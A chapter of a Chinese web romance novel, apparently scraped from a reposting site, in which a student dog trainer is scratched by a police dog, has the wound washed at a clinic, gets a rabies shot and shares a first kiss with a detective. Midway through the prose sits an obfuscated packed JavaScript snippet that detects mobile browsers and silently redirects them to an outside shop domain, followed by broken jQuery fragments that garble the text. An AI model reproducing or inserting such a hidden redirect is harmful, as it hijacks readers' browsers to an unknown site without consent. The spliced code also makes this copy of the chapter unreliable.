33.初吻

作品:《我的英雄

    林舒雨沉迷在那目光里久久未动。


    抱着她的手臂紧了紧,“我们去医务室处理一下伤口,疼吗?”


    “现在不疼了。”林舒雨弯了弯嘴角。


    头发被轻揉几下,湿乎乎的体温离开了,沈行舟递过来一件T恤,“我放在车里的备用衣服,换一下吧。”


    接过T恤,沈行舟去门外守着。


    把衣服捂在脸上嗅了嗅,是熟悉的干净味道,套在身上,好像又被裹进刚才那个温暖的树洞里。


    临走前,走去闪电的木屋前,轻轻唤它,“闪电,你别怕,后面我会慢慢教你哦。”


    木屋里没有一点动静,今天刚来就被这么一吓,它估计还需要时间恢复,林舒雨雀跃的心情荡下来一点。


    “走吧。”林舒雨从犬舍出来。


    那T恤对她而言实在太大,松松垮垮覆在身上,领口处还不服帖地歪斜着,隐约能看见一片雪白肩膀和白色肩带。


    被那白晃了眼,刚才局促慌乱的感觉又涌上来,沈行舟沉沉呼出一口气。


    抬眼一望,雨还是很大,即便打着伞也很难不淋湿。


    算了,抱都抱过了,也不多这一次,沈行舟一把捞住她扣进怀里,半夹着冲进雨中。


    林舒雨觉得自己好像在水上漂,脚只需要象征性地轻点几下地面,简直身轻如燕。


    整把伞都扣在她头顶,连视线都被挡住,雨更是一点儿也进不来。


    一扭脸,正对上他的下颌,紧紧绷着,像第一次遇见时那样严肃,冰山一般凛冽,额发已经湿透,一缕缕挂在眉间,水沿着鼻梁淌下来,他却好像没有知觉。


    拥抱时,心跳很大声的那个真的是他吗?当时他明明有些慌乱,跟现在的冷静模样都不像是同一个人。


    突然间,刚才的拥抱开始变得不真实。


    “好看吗?走路不看路。”他唇角微微一勾,脸都没转,搂着她的力道紧了紧。


    怎么就知道我在看你?而且我这是在走路吗?她这会儿连点地的样子都用不着做了。


    林舒雨心里腹诽,撇撇嘴不说话。


    一声低笑从耳畔传来,声音羽毛似的挠了她一下。


    ——


    学校医务室没人,医生可能去了犬舍,林舒雨打算自己处理一下伤口。


    这时,医务室里间传来一阵脚步声,田昊探出头,“舒雨?你怎么来了?我还以为是张医生回来了呢。”


    田昊走出来,看到沈行舟后微微一顿,眼神在林舒雨的宽大T恤上滞了一瞬,不过很快就掩饰住了表情。


    没想到在这遇到田昊,林舒雨有些不自在,“学长,我找一下医用酒精。”


    “怎么了?”田昊一眼看到林舒雨的手,上前一步拦住,捏住她的手查看。


    一旁的沈行舟下意识眉头一皱,但按住没有做声。


    田昊抬眼审视了一眼林舒雨,“你们去看闪电了?”


    他一向敏锐,林舒雨只能默认。


    “我之前就跟你说过会有危险。”


    田昊的语气似有责备,林舒雨虽知道他也是好心,但心里仍有不悦,便没有回应,打算自行处理。


    “先用肥皂水冲洗。”田昊叹了口气,“我来吧。”


    林舒雨拦住他,“不用,只是撞到了,没有咬到。”


    “这个划痕像是抓的,你该知道这类伤口从来是宁可错判,不可错漏。”田昊不由分说,走到水池开始准备肥皂水。


    “要去打狂犬疫苗吗?”一旁的沈行舟突然语气有点慌,


    “你说呢?”田昊没好气地回。


    沈行舟顾不上理会这不友好的口吻,只是复杂地看了一眼林舒雨,她居然刚才还想掩饰伤口?心中也有些气恼,拉她走到水池边,问田昊,“要怎么处理?我来弄。”


    “肥皂水和清水轮流冲洗15分钟。”田昊把弄好的肥皂水往水池一放,抱着胳膊在一旁冷眼看着。


    林舒雨觉得自己像是捅了马蜂窝,突然间的,这里所有人都不太开心。


    一时间,三人之间只有水声汩汩。


    一向温和的田昊今天也不知怎么了,似乎总要打破什么,他在这有些尴尬的沉默中,没头没脑地开口,“这种大型烈性犬的训练矫正从来都不让女生参与的。”


    沈行舟冲洗的动作一顿。


    他继续说道,“所以你到底在执着什么呢?为什么一定要参加警犬项目?”


    林舒雨明白了,想必他知道了什么,这话是说给沈行舟听的,她抬眼看向田昊,用眼神制止,“学长,你已经答应我了。”


    “我只是答应你辅助,意味着不上训练场,不近距离接触。”田昊这是铁了心不退让。


    不想在这里争辩,林舒雨低下头不再言语,扫了一眼沈行舟,他表情沉静,似乎没什么情绪,只是小心翼翼地捏着林舒雨的手,像在做什么精密手工。


    三个人都不说话,时间简直难熬,好在医务室的张达回来了。


    他一进门脚步一顿,“哟,今儿怎么这么热闹?”


    田昊添油加醋地说了原委。


    张达讶异,“小舒雨你脑子坏掉啦?这幸好是在笼子里,警犬的咬合力惊人,你这小身板哪里能行。”


    林舒雨:“……”


    “医生,麻烦帮忙看看她这伤口,是被咬到了吗?”半晌没吭声的沈行舟这才说了第一句话。


    张达到水池前附身细看,摇摇头,“不好说,但是多做一步总没错,还是要去打针。”


    “好,我马上带她去。”沈行舟低着头,说话声音闷闷的,林舒雨看了他好几眼,他也不回应。


    “最近的防疫站得有5公里,瞧这大雨天的。”张达找来一瓶碘伏放在一旁,“冲完涂上这个再去。”


    田昊原本是来拿药的,张达回来了,他们就一起就去了药房,医务室瞬间安静下来,只有水流声哗哗响着。


    沈行舟不知道在别扭什么,铁下心来不理林舒雨。


    刚才还抱得那么温暖,现在又这样。


    但你又不能说什么,因为他垂眸轻轻抚着林舒雨的手,那触感简直比水还要轻柔,整个人像是镀上一层柔光,好一把温柔刀。


    那这是什么意思?林舒雨觉得理解不了,脾气就上来了,把手抽了出来,声音也没什么好气,“我自己来。”


    手中一空的沈行舟气笑了,伸手在她脸上轻轻一拧,“你倒是说说看,你发什么脾气?”


    “你不理我,我不知道你怎么了?”被他捏得脸上有水,林舒雨歪头在T恤上蹭了蹭。


    沈行舟叹了口气,拎着她的T恤领子帮她又擦了一遍,他的大T恤穿在林舒雨身上简直像个道袍,她又一副气鼓鼓的样子,看起来特别好笑。


    感觉对她根本发不了脾气,沈行舟又把手接了回来,继续给她冲洗,低头闷闷道,“受了伤还企图对我隐瞒,我不懂这些,你也不懂吗?万一真的信了你的话,随便处理一下,出了问题怎么办?”


    沈行舟抬眼瞥了她一眼,伸手弹了弹她的脑门,“林老师不靠谱,我还不能生气了?”


    “因为我有数,我蹲在跟前,看见它牙齿没有碰到我。”林舒雨争辩。


    沈行舟又抬眼,吐了两个字,“不信。”


    林老师气急败坏,有种专业受到质疑的愤怒。


    沈行舟嘴角勾了勾,也不哄人,就由着她生气,只是低头耐心给她冲洗,冲完后又拿棉签给她消毒,涂一点吹一吹,像对待一个孩子。


    直到离开医务室,两人也没说话。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102298|193414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林舒雨心中气恼,独自走在前,可是雨没完没了得下,只有一把伞,一气之下也只能冲到屋檐下就停住了脚步。


    沈行舟后一步跟上,撑开伞,有点欠欠地问,“林老师,要一起打伞吗?”


    是可忍熟不可忍,“我去找田昊要把伞。”


    说完刚要转身,胳膊被往后一带跌进他怀里,防止她挣脱似的,还立马用一条胳膊紧紧圈住,“不许去,我在的时候不准找别的男人。”


    想了想,又补了一句,“我不在的时候……也最好跟我说一声。"


    “……”


    霸气侧漏的话被他解释得一点气势也没有了,林舒雨“扑哧”笑起来。


    “走吧,去打针。”沈行舟换了一副温柔脸,眼神羽毛一般地扫过林舒雨的脸庞,随后把她按进怀里,又一次踏入暴雨中。


    这么折腾了一上午,林舒雨实在有些累,打完针回学校的路上,不知不觉睡了过去。


    看她睡得正香,沈行舟不忍叫醒她,便把车停在学校操场附近。


    雨还在下,暑气已被浇灭,温度很适宜,大雨敲在车身上,是完美的白噪音,配合雨天昏沉的光线,确实适合白日补眠。


    沈行舟索性斜靠在座椅上,与眼前沉睡的人面对面。


    她紧闭的双眸是弯弯的月牙形状,睫毛随着呼吸轻颤,好像蝴蝶的翅膀。


    明明很瘦,脸颊却显得肉肉的,粉嫩饱满的唇被挤到微张,有特别的憨态。


    他轻轻别开林舒雨的额发,就这么安静地注视她。


    傻瓜,对我这么好值得吗?不过不管值不值得,反正你现在跑不掉了,不许后悔。


    好像听见他的想法一样,林舒雨懵懵睁开眼睛,眨巴几下,半晌才把视线聚焦到他脸上,眉眼率先弯了起来。


    “我睡着了,怎么不叫我?”她刚醒,声音带着鼻音,听起来像撒娇。


    沈行舟心念一动,情不自禁倾身向前,印上了那张粉唇。


    这是下意识的动作,吻完才反应过来自己做了什么。


    还没等他体会这吻是什么滋味,心跳开始喧宾夺主,心率一路飙升,他有点难耐直喘气,额头抵上她的,等她给点反应。


    不过林舒雨也没好到哪去,可能刚睡醒,又突然来这么一下,她的脸极速升温,一双大眼睛不停忽闪,睫毛扫在他脸上。


    两人就这么额头相抵,像两只爱心天鹅。


    半晌,林舒雨才开口打破沉默,她的心跳在耳边喧嚣,以至于声如细蚊,几乎快要被窗外的雨声覆盖。


    “沈刑警,这是初吻,你…可是要负责的…”


    沈行舟喘着气,闷闷笑了,“你确定这是初吻?”


    离得太近,看不清沈行舟的神情,不过她很确信,“嗯,初吻。”


    真行啊,把他的初吻夺走了,还能忘得如此一干二净。


    沈行舟胸中突然涌上蒸腾的邪火,喘息的声音里带上一丝暗哑,“哦,那我不客气了。”


    “嗯?”


    “唔…”


    刚才的吻只能叫做贴贴,这次的沈行舟强势入侵,林舒雨被压得往后倒,直到后脑被他单掌托住,才稳住身体。


    一时头晕目眩,有些恍惚,这还是沈刑警吗?直到两手抵在他胸膛,感受到那狂跳的心脏,忍不住笑了,还是她的害羞大狼狗。


    大狼狗不太满意,轻咬了她一口,哑声怒斥,“专心。”


    突然身体一轻,竟然被轻松地提溜到主驾位,车椅缓缓放倒,整个人被完全裹住。


    水声和雨声相互交缠,她仿佛坠入了湖中,彻底失去思考能力。


    雨泼如柱,被冲刷至油亮的草坪旁,黑色越野车窗上挂着水帘,里面的人影绰绰约约,像一颗神秘的水晶球。